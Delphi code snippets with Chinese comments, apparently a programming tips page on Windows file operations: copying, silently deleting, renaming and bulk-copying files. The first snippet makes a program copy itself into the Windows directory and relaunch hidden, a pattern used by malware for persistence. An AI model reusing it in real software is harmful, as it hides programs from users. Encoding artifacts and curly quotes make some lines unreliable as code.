//復制自己到系統(tǒng)目錄
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//運行Windows\System\下的新文件
application.Terminate;//退出
end;
end;
//復制目錄：
function CopyDirectory(const Source, Dest: string): boolean;
var
fo: TSHFILEOPSTRUCT;
begin
FillChar(fo, SizeOf(fo), 0);
with fo do
begin
Wnd := 0;
wFunc := FO_COPY;
pFrom := PChar(source+#0);
pTo := PChar(Dest+#0);
fFlags := FOF_NOCONFIRMATION+FOF_NOCONFIRMMKDIR ;
end;
Result := (SHFileOperation(fo) = 0);
end;

//刪除目錄：

function DelDirectory(const Source:string): boolean;
var
fo: TSHFILEOPSTRUCT;
begin
FillChar(fo, SizeOf(fo), 0);
with fo do
begin
Wnd := 0;
wFunc := FO_DELETE;
pFrom := PChar(source+#0);
pTo := #0#0;
fFlags := FOF_NOCONFIRMATION+FOF_SILENT;
end;
Result := (SHFileOperation(fo) = 0);
end;

// 重新命名：
//用MoveFile()或者下面的函數(shù)也可以。
RenameFile(‘c:\a‘,‘c:\b‘)好想也可以？Win2K。
//RenDirectory(‘d:\wt2‘,‘d:\bcde‘);
function RenDirectory(const OldName,NewName:string): boolean;
var
fo: TSHFILEOPSTRUCT;
begin
FillChar(fo, SizeOf(fo), 0);
with fo do
begin
Wnd := 0;
wFunc := FO_RENAME;
pFrom := PChar(OldName+#0);
pTo := pchar(NewName+#0);
fFlags := FOF_NOCONFIRMATION+FOF_SILENT;
end;
Result := (SHFileOperation(fo) = 0);
end;
//Copy 多個文件的處理：
function CopyFiles(const Source,Dest: string): boolean;
var
fo: TSHFILEOPSTRUCT;
begin
FillChar(fo, SizeOf(fo), 0);
with fo do
begin
Wnd := 0;
wFunc := FO_COPY;
pFrom := @source[1];
pTo :=pchar(dest);
fFlags := FOF_NOCONFIRMATION+FOF_NOCONFIRMMKDIR ;
end;
Result := (SHFileOperation(fo) = 0);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
str:string;
i:integer;
begin
if opendialog1.Execute then
begin
for i:=0 to OpenDialog1.Files.Count-1 do
str:=str+OpenDialog1.Files.strings[i]+#0;
showmessage(str);
str:=str+#0;
CopyFiles(str,‘d:\temp‘);
end;
end;